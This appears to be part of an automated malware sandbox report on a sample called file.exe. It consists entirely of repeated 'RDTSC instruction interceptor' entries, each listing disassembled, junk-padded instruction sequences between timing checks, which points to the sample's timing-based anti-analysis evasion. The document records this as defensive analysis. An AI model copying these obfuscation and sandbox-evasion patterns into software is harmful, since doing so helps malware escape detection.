Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532033D second address: 5320343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320343 second address: 5320347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320347 second address: 532034B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532034B second address: 532035A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532035A second address: 5320370 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320370 second address: 532039E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC06Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F1BE4ECC076h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532039E second address: 53203BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533030E second address: 5330312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330312 second address: 533033F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b call 00007F1BE47673D0h 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533033F second address: 533037E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebp 0x0000000a pushad 0x0000000b mov ebx, 5E5558D0h 0x00000010 mov bh, 31h 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 jmp 00007F1BE4ECC06Eh 0x0000001b push ecx 0x0000001c call 00007F1BE4ECC071h 0x00000021 pop ecx 0x00000022 pop edi 0x00000023 popad 0x00000024 pop ebp 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53403B9 second address: 5340400 instructions: 0x00000000 rdtsc 0x00000002 mov ch, C4h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F1BE47673CFh 0x0000000c and ecx, 0259A61Eh 0x00000012 jmp 00007F1BE47673D9h 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F1BE47673CDh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340400 second address: 5340489 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov si, bx 0x0000000e mov dx, A0DEh 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F1BE4ECC06Bh 0x0000001b jmp 00007F1BE4ECC073h 0x00000020 popfd 0x00000021 mov dx, si 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 jmp 00007F1BE4ECC072h 0x0000002c mov eax, dword ptr [ebp+08h] 0x0000002f jmp 00007F1BE4ECC070h 0x00000034 and dword ptr [eax], 00000000h 0x00000037 jmp 00007F1BE4ECC070h 0x0000003c and dword ptr [eax+04h], 00000000h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340489 second address: 53404A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532054C second address: 5320552 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320552 second address: 5320574 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov al, EEh 0x0000000d push eax 0x0000000e push edx 0x0000000f mov bx, D12Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320574 second address: 532059B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC075h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d movzx ecx, di 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 mov cx, 5951h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532059B second address: 53205BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1BE47673D4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53205BB second address: 53205BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53205BF second address: 53205C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53205C5 second address: 5320618 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC06Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov esi, 1AA1E0DDh 0x00000011 pushad 0x00000012 mov ch, EEh 0x00000014 pushfd 0x00000015 jmp 00007F1BE4ECC075h 0x0000001a and cx, AB26h 0x0000001f jmp 00007F1BE4ECC071h 0x00000024 popfd 0x00000025 popad 0x00000026 popad 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320618 second address: 532062B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330E9B second address: 5330E9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330E9F second address: 5330EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330EA5 second address: 5330F00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov si, AF23h 0x0000000f pushad 0x00000010 mov cl, 5Ah 0x00000012 pushfd 0x00000013 jmp 00007F1BE4ECC06Bh 0x00000018 sub eax, 23763C4Eh 0x0000001e jmp 00007F1BE4ECC079h 0x00000023 popfd 0x00000024 popad 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F1BE4ECC06Ch 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330F00 second address: 5330F06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330F06 second address: 5330F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330F0A second address: 5330F36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d movsx edi, cx 0x00000010 popad 0x00000011 mov cl, 1Eh 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 jmp 00007F1BE47673CFh 0x0000001b pop ebp 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f movzx esi, bx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53401FA second address: 5340209 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC06Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340209 second address: 5340252 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1BE47673D5h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 jmp 00007F1BE47673CEh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F1BE47673D7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340252 second address: 534027B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 mov edi, 22510E96h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1BE4ECC078h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360699 second address: 536069F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536069F second address: 53606A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53606A3 second address: 53606A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53606A7 second address: 53606C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F1BE4ECC06Bh 0x00000011 pop eax 0x00000012 movsx edi, cx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53606C3 second address: 53606C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53606C9 second address: 5360764 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F1BE4ECC079h 0x0000000e mov ebp, esp 0x00000010 jmp 00007F1BE4ECC06Eh 0x00000015 xchg eax, ecx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F1BE4ECC06Eh 0x0000001d adc cx, C2D8h 0x00000022 jmp 00007F1BE4ECC06Bh 0x00000027 popfd 0x00000028 jmp 00007F1BE4ECC078h 0x0000002d popad 0x0000002e push eax 0x0000002f jmp 00007F1BE4ECC06Bh 0x00000034 xchg eax, ecx 0x00000035 pushad 0x00000036 movzx eax, bx 0x00000039 push ebx 0x0000003a movzx ecx, dx 0x0000003d pop edx 0x0000003e popad 0x0000003f mov eax, dword ptr [76FA65FCh] 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F1BE4ECC06Eh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360764 second address: 536076A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536076A second address: 53607D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC06Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007F1BE4ECC070h 0x00000010 je 00007F1C56A8F23Eh 0x00000016 pushad 0x00000017 mov di, ax 0x0000001a push esi 0x0000001b pushfd 0x0000001c jmp 00007F1BE4ECC079h 0x00000021 xor al, 00000046h 0x00000024 jmp 00007F1BE4ECC071h 0x00000029 popfd 0x0000002a pop ecx 0x0000002b popad 0x0000002c mov ecx, eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F1BE4ECC06Ah 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53607D8 second address: 5360844 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1BE47673D1h 0x00000009 add si, 4956h 0x0000000e jmp 00007F1BE47673D1h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F1BE47673D0h 0x0000001a sub si, BB78h 0x0000001f jmp 00007F1BE47673CBh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 xor eax, dword ptr [ebp+08h] 0x0000002b jmp 00007F1BE47673CFh 0x00000030 and ecx, 1Fh 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360844 second address: 536085F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC077h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536085F second address: 5360886 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dh 0x00000005 push eax 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ror eax, cl 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1BE47673D9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360886 second address: 5360931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a jmp 00007F1BE4ECC06Eh 0x0000000f retn 0004h 0x00000012 nop 0x00000013 mov esi, eax 0x00000015 lea eax, dword ptr [ebp-08h] 0x00000018 xor esi, dword ptr [00AF2014h] 0x0000001e push eax 0x0000001f push eax 0x00000020 push eax 0x00000021 lea eax, dword ptr [ebp-10h] 0x00000024 push eax 0x00000025 call 00007F1BE977C853h 0x0000002a push FFFFFFFEh 0x0000002c pushad 0x0000002d call 00007F1BE4ECC06Eh 0x00000032 pushfd 0x00000033 jmp 00007F1BE4ECC072h 0x00000038 add esi, 65199F58h 0x0000003e jmp 00007F1BE4ECC06Bh 0x00000043 popfd 0x00000044 pop esi 0x00000045 pushfd 0x00000046 jmp 00007F1BE4ECC079h 0x0000004b xor al, FFFFFFF6h 0x0000004e jmp 00007F1BE4ECC071h 0x00000053 popfd 0x00000054 popad 0x00000055 pop eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F1BE4ECC078h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360931 second address: 5360940 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360940 second address: 5360946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360946 second address: 536094A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536094A second address: 5360994 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a push eax 0x0000000b call 00007F1BE977C8F2h 0x00000010 mov edi, edi 0x00000012 jmp 00007F1BE4ECC077h 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F1BE4ECC076h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F1BE4ECC06Eh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360994 second address: 53609E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F1BE47673D4h 0x00000011 and esi, 5AA42D98h 0x00000017 jmp 00007F1BE47673CBh 0x0000001c popfd 0x0000001d mov edi, eax 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F1BE47673CCh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53609E1 second address: 53609E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53609E7 second address: 5360A21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1BE47673CCh 0x00000009 and ax, AF28h 0x0000000e jmp 00007F1BE47673CBh 0x00000013 popfd 0x00000014 push esi 0x00000015 pop edi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F1BE47673D1h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360A21 second address: 5360A27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310034 second address: 5310043 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310043 second address: 5310052 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, al 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310052 second address: 5310056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310056 second address: 531005C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531005C second address: 531009C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F1BE47673CCh 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F1BE47673D1h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov cx, bx 0x0000001c call 00007F1BE47673CFh 0x00000021 pop esi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531009C second address: 53100C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC076h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1BE4ECC06Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53100C7 second address: 53100D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53100D6 second address: 5310100 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 push edi 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jmp 00007F1BE4ECC06Ah 0x00000011 mov dword ptr [esp], ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007F1BE4ECC06Dh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310100 second address: 53101C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 7E902CE9h 0x00000008 jmp 00007F1BE47673D6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebx 0x00000011 jmp 00007F1BE47673D0h 0x00000016 push eax 0x00000017 jmp 00007F1BE47673CBh 0x0000001c xchg eax, ebx 0x0000001d pushad 0x0000001e mov edi, eax 0x00000020 pushfd 0x00000021 jmp 00007F1BE47673D0h 0x00000026 adc si, 4348h 0x0000002b jmp 00007F1BE47673CBh 0x00000030 popfd 0x00000031 popad 0x00000032 mov ebx, dword ptr [ebp+10h] 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F1BE47673D4h 0x0000003c sbb ecx, 38B505A8h 0x00000042 jmp 00007F1BE47673CBh 0x00000047 popfd 0x00000048 pushfd 0x00000049 jmp 00007F1BE47673D8h 0x0000004e and cl, 00000008h 0x00000051 jmp 00007F1BE47673CBh 0x00000056 popfd 0x00000057 popad 0x00000058 xchg eax, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c push edx 0x0000005d pop esi 0x0000005e mov si, di 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53101C3 second address: 53101F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 pushfd 0x00000006 jmp 00007F1BE4ECC072h 0x0000000b xor ah, FFFFFF98h 0x0000000e jmp 00007F1BE4ECC06Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d mov ch, F1h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53101F6 second address: 531022C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 jmp 00007F1BE47673D4h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1BE47673D7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531022C second address: 531024D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1BE4ECC06Fh 0x00000008 movzx esi, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov esi, dword ptr [ebp+08h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531024D second address: 5310253 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310253 second address: 53102AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov edx, 04197694h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F1BE4ECC076h 0x00000015 pushfd 0x00000016 jmp 00007F1BE4ECC072h 0x0000001b sbb al, 00000078h 0x0000001e jmp 00007F1BE4ECC06Bh 0x00000023 popfd 0x00000024 popad 0x00000025 mov dword ptr [esp], edi 0x00000028 pushad 0x00000029 mov bl, al 0x0000002b popad 0x0000002c test esi, esi 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53102AA second address: 53102D0 instructions: 0x00000000 rdtsc 0x00000002 call 00007F1BE47673D4h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call 00007F1BE47673CBh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53102D0 second address: 53102EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 je 00007F1C56ADA3A5h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1BE4ECC070h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53102EE second address: 531034E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007F1BE47673D6h 0x00000015 je 00007F1C563756D7h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F1BE47673CDh 0x00000024 or si, 6636h 0x00000029 jmp 00007F1BE47673D1h 0x0000002e popfd 0x0000002f mov ecx, 4A71CE27h 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531034E second address: 531036A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1BE4ECC078h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531036A second address: 531036E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
